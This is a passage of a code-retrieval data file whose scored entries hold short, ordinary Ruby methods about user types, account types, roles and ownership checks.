\"Domestic Absentee\"\n else\n \"Residential Voter\"\n end\n end", "title": "" }, { "docid": "9fe4f65c9fe837198f79f051b61fad59", "score": "0.6155482", "text": "def account_type\r\n current_user.account_type\r\n end", "title": "" }, { "docid": "25a477781a177be1cf2d2c96b39671dd", "score": "0.61537087", "text": "def owner_type; end", "title": "" }, { "docid": "59424e35948877ae14570cb0e644671f", "score": "0.6149167", "text": "def highest_type(user)\n (order - [CUSTOM]).each do |type|\n if type == NOVICE && user.novice? && !user.mentor?\n return NOVICE\n elsif type == MENTOR && user.mentor?\n return MENTOR\n elsif type == MEMBER && user.member?\n return MEMBER\n end\n end\n\n nil\n end", "title": "" }, { "docid": "9bb904f7c79872d6cda20e23da8b67dd", "score": "0.61472493", "text": "def resource_class\n params[:type] ? detected_class_from(params[:type]) : User\n end", "title": "" }, { "docid": "0bf82895f2e9dbb4cc2703b92fd7f819", "score": "0.6103963", "text": "def sender\n self.user_type.constantize.find(self.user_id)\n end", "title": "" }, { "docid": "28af40ad532a58d9832a44703f557b63", "score": "0.609437", "text": "def customer?\n user_type == \"Customer\"\n end", "title": "" }, { "docid": "3be7facddf15a3143c629a022041e6e0", "score": "0.6056403", "text": "def party_type\n 'Person'\n end", "title": "" }, { "docid": "81e5c759d3e273cde6dfec8a04ea95e3", "score": "0.6056304", "text": "def raw_owner_type\n params[:owner_type] || answer_params[:owner_type]\n end", "title": "" }, { "docid": "07b912ce2f3a3d06ce6b192bdd4f3533", "score": "0.6038704", "text": "def reportable_type_name\n case reportable\n when User\n 'User'\n when Roster\n 'Roster'\n when Bounty\n 'Bounty'\n when Contract\n 'Contract'\n else\n r.reportable_type\n end\n end", "title": "" }, { "docid": "24a7eed46f5840cd2ad84ff6729d5faa", "score": "0.602195", "text": "def print_user_type\n if current_user.priv == ADMIN\n \"Admin\"\n elsif current_user.priv == TEACHER\n \"Teacher\"\n elsif current_user.priv == STUDENT\n \"Student\"\n else\n \"Guest\"\n end\n end", "title": "" }, { "docid": "13099dd6233495b5c156ea5845f8343a", "score": "0.6001914", "text": "def owner_h\n case\n when self.user_id.present?\n {:owner_id => self.user_id, :owner_type => :user, :name_or_email => self.user.email }\n when self.usr_id.present?\n {:owner_id => self.usr_id, :owner_type => :usr, :name_or_email => self.usr.name }\n else\n {:owner_id => self.usr_id, :owner_type => :usr, :name_or_email => 'Guest' }\n end\n end", "title": "" }, { "docid": "25cf99a2135848ff03159b46cc504a0d", "score": "0.59779435", "text": "def current_user_type\n if !current_user.blank?\n @current_user_type = current_user.type\n end\n end", "title": "" }, { "docid": "fcfa46df10d40f59d39854b3621501f5", "score": "0.5946085", "text": "def ensure_usertype\n if current_user.usertype == 0\n 'administrator'\n elsif current_user.usertype == 1\n 'moderator'\n elsif current_user.usertype == 2\n 'normal'\n elsif current_user.usertype == 3\n 'banned'\n end\n end", "title": "" }, { "docid": "286984a131be5fde1fa1bdb2f4a7b670", "score": "0.59445316", "text": "def is_charity?\n current_user.type == \"Charity\"\n end", "title": "" }, { "docid": "e779546e11ef479c0bcefb52c603a7c0", "score": "0.59431076", "text": "def account_type\n count = User.where.not(schedule_id: nil).where(organization_id: id).count\n\n count > 1 ? IntercomAccountTypes::ENTERPRISE : IntercomAccountTypes::INDIVIDUAL\n end", "title": "" }, { "docid": "c993440799a06e15080ae2327413f3c4", "score": "0.5934245", "text": "def user_type\n Sessions.type(session[:session_id])\nend", "title": "" }, { "docid": "c731289cf51b014d1caa35c9fbcfba4f", "score": "0.5932673", "text": "def type_name\n guest ? \"Guest\" : username\n end", "title": "" }, { "docid": "0275a9a884201e63e8734921e202a1e3", "score": "0.59324735", "text": "def founder\n return self.created_by if self.created_by_type == User.name\n return self.created_by.organisers.first if self.created_by_type == League.name\n return User.find(self.created_by_id) if self.created_by_id && self.created_by_type.nil?\n nil\n end", "title": "" }, { "docid": "7e1a0f9492bae57f1feeb9e199d9bda0", "score": "0.5929126", "text": "def human_user utype\n __dg(\"-> human_user(utype=#{utype.inspect})\",2)\n FeaTestSheet.users_types[utype][:hname] || 'le visiteur quelconque'\n end", "title": "" }, { "docid": "8915b2a9a814bbb566146c72c0ceeb00", "score": "0.59136856", "text": "def propietario_is_user?\n @anotacion.anotable_type == \"Ambiente\"\n end", "title": "" }, { "docid": "089bd8ea67b8444823913c0b2a18eb7a", "score": "0.589026", "text": "def pretty_type\n case self\n when TrackerRelation::Owner then \"owner\"\n when TrackerRelation::Committer then \"committer\"\n when TrackerRelation::OrganizationMember then \"member\"\n else nil\n end\n end", "title": "" }, { "docid": "8bdf411fe2e87358b14c9cd8117932d0", "score": "0.58844817", "text": "def acting_for_entity(entity)\n return entity&.owner unless entity == @union_bank\n\n bank_company = company_by_id('UB')\n bank_company.owner\n end", "title": "" }, { "docid": "cb5faaeab7cc6154cc53ee420b88ac61", "score": "0.5883776", "text": "def owner_type_and_id\n \"#{owner_type} #{owner_id}\" if owner.present?\n end", "title": "" }, { "docid": "0b1d16961b1176e4cc35086b33b9c25e", "score": "0.5875137", "text": "def user_type_for?(project = nil)\n return nil unless project\n\n user_project = user_projects.find_by_project_id(project.id)\n\n user_project ? user_project.user_type : nil\n end", "title": "" }, { "docid": "e6d84d9c2dc20e29b19b7864568167e7", "score": "0.5863928", "text": "def supplier_type()\n if self.supplier.taxpayer_type == 1\n r = \"PERSONA FISICA\"\n end\n if self.supplier.taxpayer_type == 2\n r= \"PERSONA MORAL\"\n end\n r\n end", "title": "" }, { "docid": "8d987bc268f7277190f65ad153fa634a", "score": "0.58637387", "text": "def current_user_type\n session[:user_type]\n end", "title": "" }, { "docid": "afa5ece4eea4cc17f2847d5e1ae27663", "score": "0.5851919", "text": "def invited_user_type=(value)\n @invited_user_type = value\n end", "title": "" }, { "docid": "302c0aa52ea33da3c4f432aa846a3677", "score": "0.5848155", "text": "def full_user\n case self.role\n when 'influencer'\n 'Celebridad'\n when 'advertiser'\n 'Anunciante'\n when 'affiliate'\n 'Agencia'\n when 'admin'\n 'Administrador'\n else\n self.role\n end\n end", "title": "" }, { "docid": "2989dd3232b10e862c4424e7d98171b0", "score": "0.5843123", "text": "def user_types\n return @user_types\n end", "title": "" }, { "docid": "2e8051ce504cd830858340337c7e672b", "score": "0.5833917", "text": "def owner\n contract? ? seller : buyer\n end", "title": "" }, { "docid": "c65f6cab4b8d1a3a18406fd3d06eb87c", "score": "0.5832543", "text": "def premium_type\n @user['premium_type']\n end", "title": "" }, { "docid": "3790679495254b810b494fbe13ed1b4b", "score": "0.58193314", "text": "def get_by_type val\n val.blank? ? User.active : User.active.where(:user_type_code => val).order(order_txt(val))\n end", "title": "" }, { "docid": "1c5ae65deb1a379c08d8ffdd9cd58590", "score": "0.5804687", "text": "def flpt_type\n case @party_type\n when 'TENANT'\n 'BUYER'\n when 'LANDLORD'\n 'SELLER'\n else\n @party_type\n end\n end", "title": "" }, { "docid": "61195b0c63c544399c38a6822b668c87", "score": "0.5803221", "text": "def vendor\n\t\treturn get_single_related_object(FarMar::Vendor)\n\tend", "title": "" }, { "docid": "0ec455d74fdeab54c4fc253740314a4b", "score": "0.5797289", "text": "def managed_device_owner_type\n return @managed_device_owner_type\n end", "title": "" }, { "docid": "e04b5cac0d627ec7c77dca6d09153599", "score": "0.57914436", "text": "def subscription_owner_model\n @subscription_owner_model ? @subscription_owner_model.downcase : \"user\"\n end", "title": "" }, { "docid": "40784ef633eff53c6cc9a2cb404f9b62", "score": "0.57868797", "text": "def desired_type; end", "title": "" }, { "docid": "40784ef633eff53c6cc9a2cb404f9b62", "score": "0.57868797", "text": "def desired_type; end", "title": "" }, { "docid": "40784ef633eff53c6cc9a2cb404f9b62", "score": "0.57868797", "text": "def desired_type; end", "title": "" }, { "docid": "e85ed9ce45abcd457820a6ba8f2214e4", "score": "0.5782667", "text": "def returned_type\n model.returned_type\n end", "title": "" }, { "docid": "1396fd9569f8a06a2054251f82b6ba05", "score": "0.57807934", "text": "def this_is_professore?(user)\n user.class.to_s == \"UserProfessore\"\n end", "title": "" }, { "docid": "6660b88e7f5a19d0dd42d1574eb169b5", "score": "0.57800156", "text": "def get_patient_pay_claim_type( claim_type_from_ui, patient_statement_fields_applicable )\r\n user_chosen_claim_type = nil\r\n unless claim_type_from_ui.blank? || claim_type_from_ui == '--'\r\n user_chosen_claim_type = claim_type_from_ui\r\n end\r\n \r\n if !patient_statement_fields_applicable && claim_information && claim_information.claim_type\r\n claim_information.claim_type_normalized\r\n elsif user_chosen_claim_type\r\n user_chosen_claim_type\r\n else\r\n 'Primary'\r\n end\r\n end", "title": "" }, { "docid": "26868b553f16ba2de817265fd3a6ab92", "score": "0.57786536", "text": "def humanize_creator_type(resource)\n if current_user.is_buyer? && resource.buyer_created?\n t('labels.my_carts')\n elsif current_user.is_mill? && resource.mill_created?\n t('labels.my_carts')\n else\n resource.creator.class.name\n end\n end", "title": "" }, { "docid": "62e14d846d9f024df3d13f76ba337d0b", "score": "0.5771674", "text": "def product_responsible\n self.carrier_product.first_unlocked_product_in_owner_chain.company\n end", "title": "" }, { "docid": "695cf1c6750e82ca0a1b289dcd3ded60", "score": "0.5767881", "text": "def account_type\n self.class.name\n end", "title": "" }, { "docid": "bb5651b02d635423f230dce0c799e639", "score": "0.5766558", "text": "def owner? usr\r\n seller_id == usr.id rescue false\r\n end", "title": "" }, { "docid": "0c43743edcc801e2a53cda87647e8f49", "score": "0.57654715", "text": "def person_type\n person_type = 'member' if former_mp?\n person_type = 'lord' if former_lord?\n person_type = 'member' if current_mp?\n person_type = 'lord' if current_lord?\n person_type\n end", "title": "" }, { "docid": "4dfaf67208415a4b567a28cbb1ae612f", "score": "0.5763744", "text": "def user_type=(value)\n @user_type = value\n end", "title": "" }, { "docid": "4dfaf67208415a4b567a28cbb1ae612f", "score": "0.5763744", "text": "def user_type=(value)\n @user_type = value\n end", "title": "" }, { "docid": "4dfaf67208415a4b567a28cbb1ae612f", "score": "0.5763744", "text": "def user_type=(value)\n @user_type = value\n end", "title": "" }, { "docid": "22f367bbf9197bf4a3c96068a0b4d222", "score": "0.57608163", "text": "def prefered_vendor\n end", "title": "" }, { "docid": "f7c55a5ef7fb956b71792e22b0d5877b", "score": "0.5754352", "text": "def this_is_studente?(user)\n user.class.to_s == \"UserStudente\"\n end", "title": "" }, { "docid": "31585bc6ee0434265de577fff0f3a062", "score": "0.5750589", "text": "def is_lecturer?\n current_user.user_type_id == 2\n end", "title": "" }, { "docid": "22cced248a5c429ee69f21f4ebc83bce", "score": "0.57503366", "text": "def get_author_name(obj, type, current_user)\n\n return obj.user.display_name if current_user.nil?\n\n if current_user == obj.user && type != \"game_action\"\n \"You\"\n elsif current_user == obj.user && type == \"game_action\"\n \"your\"\n else\n obj.user.display_name\n end\n\n end", "title": "" }, { "docid": "3585609c7b57de4ae129820e08ff77ec", "score": "0.5742892", "text": "def type\n 'personal'\n end", "title": "" }, { "docid": "443653d48300a2cdf1729e93a3f9a216", "score": "0.5740181", "text": "def user_class; Account; end", "title": "" }, { "docid": "42058b3213e367758338a821366c0016", "score": "0.5738184", "text": "def is_organizer?\n user_type == 'organizer' or user_type == 'admin'\n end", "title": "" }, { "docid": "688954184bd69b3dcbead7711ae7fe23", "score": "0.5734948", "text": "def type(group)\n Membership.find_by(user: self, group: group).user_type\n end", "title": "" }, { "docid": "302e884435b1aba696b413a06501d6dd", "score": "0.5733495", "text": "def type\n @type ||= self.class.to_s.downcase.sub( /account/, '' )\n end", "title": "" }, { "docid": "6ab650aa9b07a1fa0af150e8a1888ced", "score": "0.57324326", "text": "def user_class; Thinkspace::Common::User; end", "title": "" }, { "docid": "b0d91eda803366568638578902a9f398", "score": "0.5728044", "text": "def determine_type_of_user\n case current_user\n when current_user.is_candidate?\n flash[:notice] = \"You're a candidate.\"\n redirect_to root_url\n when current_user.is_hiring_manager?\n flash[:notice] = \"You're a hiring manager.\"\n redirect_to root_url\n when current_user.is_recruiter?\n flash[:notice] = \"You're a recruiter.\"\n redirect_to root_url\n end\n end", "title": "" }, { "docid": "0dfa8d31dba629e12843e06c5235a710", "score": "0.57254267", "text": "def app_user_name_type\n \"#{AppUser.find(id).name} - #{AppUserType.find(app_user_type_id).name}\"\n end", "title": "" }, { "docid": "e8df6cba34553bc740f6c18ad6b82b1c", "score": "0.57245487", "text": "def user\n if trial?\n 'trial couple'\n elsif couple?\n 'couple'\n else\n 'guest'\n end\n end", "title": "" }, { "docid": "9503bc765a51168c08d249abfe32cc88", "score": "0.5721363", "text": "def entity_type()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "6a93eedaf5aef5a8a3b80bab1a68ec1d", "score": "0.5720632", "text": "def ora_object_type\n self[:type]\n end", "title": "" }, { "docid": "a74a759ad95b62a8a47c1ae279206f88", "score": "0.57165086", "text": "def user_type\n current_user.admin ? t('admin') : \n current_user.teacher ? t('teacher') :\n current_user.student ? t('student') : ''\n end", "title": "" }, { "docid": "9f724d9b2932fd01dca7a108d8114e2d", "score": "0.5714441", "text": "def get_inquiry_type \n @source == 'support' && signed_in? ? InquiryType.support : InquiryType.general\n end", "title": "" }, { "docid": "54b82a1c6ec2a7e3852dd358d509bb87", "score": "0.57128334", "text": "def user\n @user ||= if payable.kind_of?(User)\n payable\n else\n payable.user\n end\n end", "title": "" }, { "docid": "c1d59af627a68843840787e470e3a1cc", "score": "0.56982666", "text": "def sensor?\n @current_user.user_type == 2\n end", "title": "" }, { "docid": "204378e3acf6b0819ed0f18a6c6b2ba2", "score": "0.56927013", "text": "def allowed_types\n\treturn [User]\nend", "title": "" }, { "docid": "1048fd45ccbae667b14d209945a0058b", "score": "0.56910276", "text": "def merchant?\n !self.admin? && self.user_type == USER_TYPE[:merchant]\n end", "title": "" }, { "docid": "0f0d897ff3346901a4e0e7054d19f5b6", "score": "0.56881994", "text": "def developer?\n \t(type == \"Developer\")\n end", "title": "" }, { "docid": "52e80eca86f69d6c997da306f80bee6c", "score": "0.5687348", "text": "def owner_of_budget\n user = User.find(self.user_id)\n user.full_name\n end", "title": "" }, { "docid": "a97f1ef19b5f0164ab7cdf828e532636", "score": "0.5683688", "text": "def is_vendor?\n vendor\n end", "title": "" }, { "docid": "743ad9f63d413636e4a5e9e7435e1317", "score": "0.5682933", "text": "def ownerable_type ownable\n ownable.ownerable_type_of self\n end", "title": "" }, { "docid": "0f05ef1b550314a5aa592a553ba82cea", "score": "0.5675578", "text": "def get_account_type(value)\n case value\n when SidTypeUser\n 'user'\n when SidTypeGroup\n 'group'\n when SidTypeDomain\n 'domain'\n when SidTypeAlias\n 'alias'\n when SidTypeWellKnownGroup\n 'well known group'\n when SidTypeDeletedAccount\n 'deleted account'\n when SidTypeInvalid\n 'invalid'\n when SidTypeUnknown\n 'unknown'\n when SidComputer\n 'computer'\n end\n end", "title": "" }, { "docid": "ce489cbd524178e75dafe23d233b80a9", "score": "0.5675481", "text": "def owner?\n company.owner_id == user_id\n end", "title": "" }, { "docid": "82d500a9e7c5052fff98222d4ad52651", "score": "0.56738037", "text": "def single_owner?\n # TODO: Kinda breaking law of demeter here\n is_owner? && self.gathering.gathering_users.owners.size == 1\n end", "title": "" } ]
da8dc016f92a369dff5f6f2a6a5af832
Ordering is important because this ordering of the whole set is retained for each subset allocated to a reference usage. And we want the synonymns for any single ref. usage to appear in this order: 1. nonmisapps first, followed by misapps 2. namesort order within 3. year of the reference withing namesort order
[ { "docid": "abb1c93f8b51249be0acc0b18e240ffe", "score": "0.0", "text": "def xbunch_query\n Instance.where(\"instance.cited_by_id in (#{comma_separated_ids}) or instance.cites_id in (#{comma_separated_ids})\")\n .joins(:instance_type)\n .joins(name: :name_status)\n .joins(:reference)\n .left_outer_joins(:cited_reference)\n .select(select_list)\n .order('reference.year, instance_type.misapplied, name.sort_name')\n end", "title": "" } ]
[ { "docid": "585ac53bac14587c9e103ed9788e63c8", "score": "0.6624247", "text": "def acts_of_synonymy_for_ref\n syn = self.proj.sensus.by_ontology_class(self.ontology_class_id).by_ref(self.ref_id).ordered_by_label.collect{|s| s.label}.uniq\n syns = []\n syn.each_with_index do |s1,i|\n syn[(i+1)..(syn.size)].each do |s2|\n syns << [s1, s2]\n end\n end\n syns\n end", "title": "" }, { "docid": "1a11e8798c2be389b5503ed6d65e3b29", "score": "0.64823365", "text": "def synonyms(opts = {})\n self.meanings.uniq.collect { |ref| ref.tags }.flatten.uniq\n end", "title": "" }, { "docid": "ae4f15b7905d93e355d27261bcf1fef9", "score": "0.617916", "text": "def acts_of_homonymy_for_ref\n syn = self.proj.sensus.by_label(self.label_id).by_ref(self.ref_id).ordered_by_label.collect{|s| s.ontology_class}.uniq\n syns = []\n syn.each_with_index do |s1,i|\n syn[(i+1)..(syn.size)].each do |s2|\n syns << [s1, s2]\n end\n end\n syns\n end", "title": "" }, { "docid": "96cc65b353cec227450b4f22bfe0a833", "score": "0.5740777", "text": "def synonyms; end", "title": "" }, { "docid": "ee26bd4b28c454f3a777ebb751832ebc", "score": "0.56883395", "text": "def sorted_sets(sets, query_word_regexps)\n sets.sort_by! do |set|\n pre_match_length = nil\n found_query_index = nil\n found_query_count = 0\n query_word_regexps.each_with_index do |q, idx|\n if (m = set.name.match(/#{q}/i))\n pre_match_length ||= m.pre_match.length\n found_query_index ||= idx\n found_query_count += 1\n end\n end\n pre_match_length ||= 1000\n found_query_index ||= 1000\n [-found_query_count, pre_match_length, found_query_index, set.name.downcase]\n end\n sets\n end", "title": "" }, { "docid": "be1ddaaaa1cf903c4bdf814259ebe0cf", "score": "0.56311625", "text": "def related_names_in_use\n @in_use.map { |n| /\\A#{normalised_name}_(\\d+)\\z/.match(n) }.compact\n end", "title": "" }, { "docid": "839c953b92868fbc8a1ab2052d4a9a76", "score": "0.5456645", "text": "def sort_name\n sort_constituent\n end", "title": "" }, { "docid": "8e36cfd1487cdb572ef6f5beb3bd909e", "score": "0.54481655", "text": "def _autonyms\n @autonyms\n end", "title": "" }, { "docid": "e166769400d9d5446e202806f7ee50e2", "score": "0.5382595", "text": "def tutors_sorted\n tutors.sort { |x,y| x.abbr_name.casecmp(y.abbr_name) }\n end", "title": "" }, { "docid": "fbe7f950b0520ec6dd48a397f465bab8", "score": "0.53583354", "text": "def sort\n @sort ||= Vidibus::Words.sort_by_occurrence(list)\n end", "title": "" }, { "docid": "a959ebc92c16357e664edb5c90e27c11", "score": "0.53377736", "text": "def sort\n # pp @paren_array.map{|paren| paren.offset}\n @paren_array.sort{|x, y| x.offset <=> y.offset}.each_with_index do | paren, i |\n # puts \"$$_#{i+1} offset:#{paren.offset}\"\n refer_name = \"$$_#{i+1}\"\n @paren_hash[refer_name] = paren # parenthesis number from 1\n paren.set_refer_name(refer_name)\n end\n end", "title": "" }, { "docid": "162bb4500728a12cca472a5e7dc6551b", "score": "0.53317237", "text": "def s_idsort; det.link(:text, 'ID'); end", "title": "" }, { "docid": "25dd632a23ed7ddb410f159aa5ace179", "score": "0.53245825", "text": "def name_sort_with_docs_last\n case name\n when /^doc|^guide|guide$/i\n \"ZZ-#{name}\"\n else\n \"AA-#{name}\"\n end\n end", "title": "" }, { "docid": "e2b22db295ada8bb86cfe6b748b7dc8f", "score": "0.5300631", "text": "def predicate_order\n [\n RDF.type,\n RDF::RDFS.label,\n RDF::RDFS.comment,\n RDF::URI(\"http://purl.org/dc/terms/title\"),\n RDF::URI(\"http://purl.org/dc/terms/description\"),\n RDF::OWL.sameAs,\n RDF::N3::Log.implies\n ]\n end", "title": "" }, { "docid": "9a138a92e0c5a6df0c4dc9f940b88e31", "score": "0.5280863", "text": "def search(ref)\n upcase_ref = ref.upcase\n @index.select do |i|\n RelatonBib.array(i[:pubid]).detect { |r| r.include? upcase_ref }\n end.sort_by { |r| r[:pubid].is_a?(Array) ? r[:pubid].min : r[:pubid] }\n end", "title": "" }, { "docid": "5134a46994e842ffcd8c387fafb51b6a", "score": "0.5230332", "text": "def synonyms\n @synonyms ||= {\n /^awesome$/i => %w[great excellent cool awesome splendid],\n /^okay$/i => %w[okay great alright],\n /^hello$/i => %w[hello hi greetings],\n /^yes$/i => %w[yes affirmative definitely correct certainly],\n /^no$/i => %w[no negative incorrect false],\n /^update$/i => %w[update change modify revise alter edit adjust],\n /^updated$/i => %w[updated changed modified revised altered edited adjusted],\n /^add$/i => %w[add create],\n /^added$/i => %w[added created],\n /^what|how$/i => %w[how what]\n }\n end", "title": "" }, { "docid": "05b44eae9b8f6a64f7c103ca3332b325", "score": "0.5196929", "text": "def appearence_order(candidates, mention)\n positions = candidates.collect{|code, score, name|\n next unless @synonyms[code]\n pos = nil\n @synonyms[code].each_with_index{|list,i|\n next if pos\n pos = i if list.include? mention\n }\n pos \n }\n\n return nil if positions.compact.empty?\n\n best = candidates.zip(positions).sort{|a,b| \n case\n when (a[1].nil? and b[1].nil?)\n 0\n when b[1].nil?\n 1\n when a[1].nil?\n -1\n else\n a[1] <=> b[1]\n end\n }.first[1]\n candidates.zip(positions).select{|p| p[1] == best}\n end", "title": "" }, { "docid": "12cb7aed360702ddd47870f0b978d37d", "score": "0.51945245", "text": "def concept_set(concept_name)\n concept_id = ConceptName.find_by_name(concept_name).concept_id\n \n set = ConceptSet.find_all_by_concept_set(concept_id, :order => 'sort_weight')\n options = set.map{|item|next if item.concept.blank? ; item.concept.fullname }\n return options\n end", "title": "" }, { "docid": "cacac3823bd28a44ddad0eb8c85ce177", "score": "0.515969", "text": "def sorts_with_links\n [\n [search_merge(sort: 'best_match', order: 'desc', page: '1'), 'Relevancy'],\n\n [search_merge(sort: 'date', order: 'asc', page: '1'), 'Published Earliest'],\n [search_merge(sort: 'date', order: 'desc', page: '1'), 'Published Latest'],\n\n [search_merge(sort: 'title', order: 'asc', page: '1'), 'Title A-Z'],\n [search_merge(sort: 'title', order: 'desc', page: '1'), 'Title Z-A']\n ]\n end", "title": "" }, { "docid": "d2ebbdf14bb2bcfc75df4f79d534dc27", "score": "0.51387566", "text": "def refd_qings\n qing_group.display_conditions.map(&:ref_qing).uniq.sort_by(&:full_rank)\n end", "title": "" }, { "docid": "e58c5ff3650fd957c5408fe5822050ce", "score": "0.51219386", "text": "def s_typesort; det.link(:text, 'Type'); end", "title": "" }, { "docid": "83a83e7d5f7c6401f7dac7895fb3fbbf", "score": "0.51217926", "text": "def tree_ordered_names\n tree_order_name_ids.collect { |name_id| queried_names[queried_names.index { |name| name[:id] == name_id }] }\n end", "title": "" }, { "docid": "04f81bf40f91efad7fa2c993542276dc", "score": "0.5088982", "text": "def synonyms\n @synonyms ||= self.class.synonyms\n @synonyms\n end", "title": "" }, { "docid": "e7aeaf3c745525f589a97ad5485b2925", "score": "0.50834405", "text": "def sort_words\n audit\n @_sort_words ||= words.sort { |a, b| b.last <=> a.last }\n end", "title": "" }, { "docid": "d1b9f339ef9303fafd0e4cd57717d051", "score": "0.5082285", "text": "def sort_defined_names(names) # :nodoc:\n names.sort do |a, b|\n name_a = normalise_defined_name(a[0])\n name_b = normalise_defined_name(b[0])\n sheet_a = normalise_sheet_name(a[2])\n sheet_b = normalise_sheet_name(b[2])\n # Primary sort based on the defined name.\n if name_a > name_b\n 1\n elsif name_a < name_b\n -1\n elsif sheet_a >= sheet_b # name_a == name_b\n # Secondary sort based on the sheet name.\n 1\n else\n -1\n end\n end\n end", "title": "" }, { "docid": "7c5b1351f6b8a57bf3ab589a97106bee", "score": "0.5073984", "text": "def coauthors\n works.collect(&:pseuds).flatten.uniq - pseuds\n end", "title": "" }, { "docid": "d0256564c25f25c73170fc93ae055a75", "score": "0.5073242", "text": "def format_sort_name(name, author)\n str = format_name(name, :deprecated).\n sub(/^_+/, \"\").\n gsub(/_+/, \" \"). # put genus at the top\n sub(/ \"(sp[-.])/, ' {\\1'). # put \"sp-1\" at end\n gsub(/\"([^\"]*\")/, '\\1'). # collate \"baccata\" with baccata\n sub(\" subg. \", \" {1subg. \").\n sub(\" sect. \", \" {2sect. \").\n sub(\" subsect. \", \" {3subsect. \").\n sub(\" stirps \", \" {4stirps \").\n sub(\" subsp. \", \" {5subsp. \").\n sub(\" var. \", \" {6var. \").\n sub(\" f. \", \" {7f. \").\n strip.\n sub(/(^\\S+)aceae$/, '\\1!7').\n sub(/(^\\S+)ineae$/, '\\1!6').\n sub(/(^\\S+)ales$/, '\\1!5').\n sub(/(^\\S+?)o?mycetidae$/, '\\1!4').\n sub(/(^\\S+?)o?mycetes$/, '\\1!3').\n sub(/(^\\S+?)o?mycotina$/, '\\1!2').\n sub(/(^\\S+?)o?mycota$/, '\\1!1')\n\n # put autonyms at the top\n 1 while str.sub!(/(^| )([A-Za-z-]+) (.*) \\2( |$)/, '\\1\\2 \\3 !\\2\\4')\n\n if author.present?\n str += \" \" + author.\n gsub(/\"([^\"]*\")/, '\\1'). # collate \"baccata\" with baccata\n gsub(/[Đđ]/, \"d\"). # mysql isn't collating these right\n gsub(/[Øø]/, \"O\").\n strip\n end\n str\n end", "title": "" }, { "docid": "df1d80022a153e66e9f4d53ee988744e", "score": "0.5053769", "text": "def order_subjects\n seen = {}\n subjects = []\n\n # Start with base_uri\n if base_uri && @subjects.keys.select(&:uri?).include?(base_uri)\n subjects << base_uri\n seen[base_uri] = true\n end\n\n # Add distinguished classes\n top_classes.each do |class_uri|\n graph.query({predicate: RDF.type, object: class_uri}).\n map {|st| st.subject}.sort.uniq.each do |subject|\n log_debug(\"order_subjects\") {subject.to_sxp}\n subjects << subject\n seen[subject] = true\n end\n end\n\n # Add formulae which are subjects in this graph\n @formulae.each_key do |bn|\n next unless @subjects.key?(bn)\n subjects << bn\n seen[bn] = true\n end\n\n # Mark as seen lists that are part of another list\n @lists.values.flatten.each do |v|\n seen[v] = true if @lists.key?(v)\n end\n\n list_elements = [] # Lists may be top-level elements\n\n # Sort subjects by resources over bnodes, ref_counts and the subject URI itself\n recursable = (@subjects.keys - list_elements).\n select {|s| !seen.include?(s)}.\n map {|r| [r.node? ? 1 : 0, ref_count(r), r]}.\n sort\n\n subjects += recursable.map{|r| r.last}\n end", "title": "" }, { "docid": "4fbb92d6e876424e35c37cac9a1e4d50", "score": "0.5051983", "text": "def set_sort_name\n self.sort_name = name.to_s.downcase.gsub(/^(a|an|the) /, '').gsub(/[^a-zA-Z0-9]/, '')\n end", "title": "" }, { "docid": "73363c4af05d9291837d932d76abec27", "score": "0.50401515", "text": "def synonyms #:nodoc:\n select_all(\"SELECT synonym_name, table_owner, table_name, db_link FROM all_synonyms where owner = SYS_CONTEXT('userenv', 'session_user')\").collect do |row|\n OracleEnhanced::SynonymDefinition.new(oracle_downcase(row[\"synonym_name\"]),\n oracle_downcase(row[\"table_owner\"]), oracle_downcase(row[\"table_name\"]), oracle_downcase(row[\"db_link\"]))\n end\n end", "title": "" }, { "docid": "e2d3d25d4c26f847c88688162aa36c73", "score": "0.50369275", "text": "def ordered_by_qualifications(candiates)\n # Candidates with the most experience are at the top\n return candiates.sort_by { | obj | [obj[:years_of_experience], obj[:github_points]] }\n # return candiates.sort! { |a, b| b[:years_of_experience] <=> a[:years_of_experience] }\n\n # return candiates.sort_by {|:years_of_experience, :github_points|[ :github_points, :years_of_experience]}\n\n # return candiates.sort { | a, b | }\n # array.sort { |a,b| [ a[1], a[0] ] <=> [ b[1], b[0] ] }\n\n\n # For Candidates that have the same years of experience, \n #they are further sorted by their number of Github points (highest first)\nend", "title": "" }, { "docid": "f8c1a59f7c686ce317b7ba096f4aa792", "score": "0.50094867", "text": "def ordered_by_qualifications (collection)\n collection.sort_by {|x| [x[:years_of_experience], x[:github_points]]}.reverse!\nend", "title": "" }, { "docid": "21701bbd040d60952051e8e7b4d1c30b", "score": "0.50011235", "text": "def sort_relevant_rules\r\n # sort array in rule priority order\r\n @relevant_rules = @relevant_rules.sort do |r1, r2| \r\n r2.priority <=> r1.priority \r\n end\r\n end", "title": "" }, { "docid": "7b68c275bac6d8f4e50709773bf8c084", "score": "0.4999158", "text": "def test_sort_attr\n ou = []\n @@conn.search( @@naming_context, LDAP::LDAP_SCOPE_ONELEVEL,\n '(ou=*)' ) do |x|\n ou << x['ou']\n end\n ou.flatten!\n\n sorted_ou = []\n @@conn.search( @@naming_context, LDAP::LDAP_SCOPE_ONELEVEL,\n '(ou=*)', nil, nil, 0, 0, 'ou' ) do |x|\n sorted_ou << x['ou']\n end\n sorted_ou.flatten!\n\n assert_not_equal( ou, sorted_ou )\n assert_equal( ou.sort, sorted_ou )\n end", "title": "" }, { "docid": "4262ce394d0d29ad5cb68880622e75e2", "score": "0.49979937", "text": "def sort_names_old(array_units)\n list = []\n hash = {}\n data = []\n array_units.each do |a|\n hash[a[0]] = a[1]\n list << a[0]\n end\n list.sort!{|x, y| /\\d+/.match(x).to_s.to_i <=> /\\d+/.match(y).to_s.to_i} #need to fix if have \"10a10\", \"2A1\"\n p list\n list.each do |name|\n data << [name, hash[name]]\n end\n p data\n return data\n end", "title": "" }, { "docid": "023fe11e0b09e0a85153c04170b1c81a", "score": "0.4997695", "text": "def subtaxa_whose_classification_needs_to_be_changed\n subtaxa = Name.subtaxa_of_genus_or_below(text_name).not_deprecated.to_a\n uniq_subtaxa = subtaxa.filter_map(&:synonym_id).uniq\n # Beware of AR where.not gotcha - will not match a null classification below\n synonyms = Name.where(deprecated: true, synonym_id: uniq_subtaxa).\n where(Name[:classification].not_eq(classification))\n (subtaxa + synonyms).map(&:id).uniq\n end", "title": "" }, { "docid": "a0f015842f22df3ee57dbf6c34704737", "score": "0.4992084", "text": "def _flag_nations\n %w{ar cc it de ie fr es en goo br po pt }.sort\nend", "title": "" }, { "docid": "ec771d383a8db1d93114d46eef65b276", "score": "0.49865776", "text": "def name\n \tself.marker_synonyms.collect{|ms| ms.name}.join(',')\n end", "title": "" }, { "docid": "49816b24c491d67d5f4d9680414de4c8", "score": "0.4985795", 